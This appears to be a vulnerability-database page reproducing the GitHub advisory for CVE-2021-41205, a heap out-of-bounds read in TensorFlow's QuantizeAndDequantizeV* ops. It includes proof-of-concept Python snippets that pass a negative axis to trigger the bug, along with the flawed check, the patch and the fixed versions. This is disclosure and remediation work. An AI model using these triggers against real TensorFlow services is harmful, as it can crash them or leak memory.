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Severe, 6 weeks1498Projects326

1498 severe, 6 weeks · 326 projects

TensorFlowGHSA-49rx-x2rw-pc6f

Heap OOB read in all `tf.raw_ops.QuantizeAndDequantizeV*` ops

TensorFlow

CVE-2021-41205 · Published Nov 10, 2021 · updated Jul 8, 2026

Medium7.1
Fix: upgrade to 2.4.4 or later (3 fixed versions below)
GitHub advisory

Impact

The [shape inference functions for the QuantizeAndDequantizeV* operations](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/array_ops.cc) can trigger a read outside of bounds of heap allocated array as illustrated in the following sets of PoCs:

```python

import tensorflow as tf

@tf.function

def test():

data=tf.raw_ops.QuantizeAndDequantizeV4Grad(

gradients=[1.0,1.0],

input=[1.0,1.0],

input_min=[1.0,10.0],

input_max=[1.0,10.0],

axis=-100)

return data

test()

`

```python

import tensorflow as tf

@tf.function

def test():

data=tf.raw_ops.QuantizeAndDequantizeV4(

input=[1.0,1.0],

input_min=[1.0,10.0],

input_max=[1.0,10.0],

signed_input=False,

num_bits=10,

range_given=False,

round_mode='HALF_TO_EVEN',

narrow_range=False,

axis=-100)

return data

test()

`

```python

import tensorflow as tf

@tf.function

def test():

data=tf.raw_ops.QuantizeAndDequantizeV3(

input=[1.0,1.0],

input_min=[1.0,10.0],

input_max=[1.0,10.0],

signed_input=False,

num_bits=10,

range_given=False,

narrow_range=False,

axis=-100)

return data

test()

`

```python

import tensorflow as tf

@tf.function

def test():

data=tf.raw_ops.QuantizeAndDequantizeV2(

input=[1.0,1.0],

input_min=[1.0,10.0],

input_max=[1.0,10.0],...

Affected versions

PackageAffectedFixed in
tensorflow
PyPI
>= 2.6.0, < 2.6.12.6.1
>= 2.5.0, < 2.5.22.5.2
< 2.4.42.4.4
Details and references

### Impact The [shape inference functions for the `QuantizeAndDequantizeV*` operations](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/array_ops.cc) can trigger a read outside of bounds of heap allocated array as illustrated in the following sets of PoCs: ```python import tensorflow as tf @tf.function def test(): data=tf.raw_ops.QuantizeAndDequantizeV4Grad( gradients=[1.0,1.0], input=[1.0,1.0], input_min=[1.0,10.0], input_max=[1.0,10.0], axis=-100) return data test() ``` ```python import tensorflow as tf @tf.function def test(): data=tf.raw_ops.QuantizeAndDequantizeV4( input=[1.0,1.0], input_min=[1.0,10.0], input_max=[1.0,10.0], signed_input=False, num_bits=10, range_given=False, round_mode='HALF_TO_EVEN', narrow_range=False, axis=-100) return data test() ``` ```python import tensorflow as tf @tf.function def test(): data=tf.raw_ops.QuantizeAndDequantizeV3( input=[1.0,1.0], input_min=[1.0,10.0], input_max=[1.0,10.0], signed_input=False, num_bits=10, range_given=False, narrow_range=False, axis=-100) return data test() ``` ```python import tensorflow as tf @tf.function def test(): data=tf.raw_ops.QuantizeAndDequantizeV2( input=[1.0,1.0], input_min=[1.0,10.0], input_max=[1.0,10.0], signed_input=False, num_bits=10, range_given=False, round_mode='HALF_TO_EVEN', narrow_range=False, axis=-100) return data test() ``` In all of these cases, `axis` is a negative value different than the special value used for optional/unknown dimensions (i.e., -1). However, the code ignores the occurences of these values: ```cc ... if (axis != -1) { ... c->Dim(input, axis); ... } ``` ### Patches We have patched the issue in GitHub commit [7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d](https://github.com/tensorflow/tensorflow/commit/7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d). The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

CVSS 3.1
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H
Severity from
GitHub (reviewed advisory)
Weakness
CWE-125
Also known as
BIT-tensorflow-2021-41205, CVE-2021-41205, PYSEC-2021-398, PYSEC-2021-615, PYSEC-2021-813

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